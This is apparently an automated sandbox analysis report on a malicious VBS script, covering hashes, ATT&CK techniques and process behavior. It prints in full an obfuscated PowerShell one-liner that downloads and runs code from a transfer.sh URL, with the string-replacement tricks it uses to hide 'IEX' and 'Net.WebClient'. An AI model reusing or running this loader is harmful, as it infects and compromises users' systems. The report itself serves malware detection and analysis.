a0710f6483cebd22f615c3435ee70a971d490f15c9529c3f2450e3cb73d35a16

Analysis

max time kernel
150s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
08/01/2024, 07:58

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General

Target

4ae071a407c0054c1a549457a67151f9.vbs
Size

731B
MD5

4ae071a407c0054c1a549457a67151f9
SHA1

f5843409f2fff10d686aa75df94f78b1121df6ef
SHA256

a0710f6483cebd22f615c3435ee70a971d490f15c9529c3f2450e3cb73d35a16
SHA512

16f066c527dc075ae959659d7f2920bf69428d64742b14fec8974ab88a4083494961a87b94713a88a6fa17ee452d8a934b19e114f60094e02b0bded5244ec425

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://transfer.sh/1awqNEs/bypass.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	4204	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4204	powershell.exe
4204	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4204	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1604 wrote to memory of 4204	1604	WScript.exe	87
PID 1604 wrote to memory of 4204	1604	WScript.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4ae071a407c0054c1a549457a67151f9.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP = 'https://transfer.sh/1awqNEs/bypass.txt';$B = 'ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')|&('I'+'EX');
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4204

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5lnr0gwc.kss.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4204-0-0x0000020029150000-0x0000020029172000-memory.dmp

Filesize
136KB

Download
memory/4204-10-0x00007FF877AD0000-0x00007FF878591000-memory.dmp

Filesize
10.8MB

Download
memory/4204-11-0x0000020041810000-0x0000020041820000-memory.dmp

Filesize
64KB

Download
memory/4204-12-0x0000020041810000-0x0000020041820000-memory.dmp

Filesize
64KB

Download
memory/4204-13-0x0000020041810000-0x0000020041820000-memory.dmp

Filesize
64KB

Download
memory/4204-14-0x00007FF877AD0000-0x00007FF878591000-memory.dmp

Filesize
10.8MB

Download
memory/4204-15-0x0000020041810000-0x0000020041820000-memory.dmp

Filesize
64KB

Download
memory/4204-16-0x0000020041810000-0x0000020041820000-memory.dmp

Filesize
64KB

Download
memory/4204-19-0x00007FF877AD0000-0x00007FF878591000-memory.dmp

Filesize
10.8MB

Download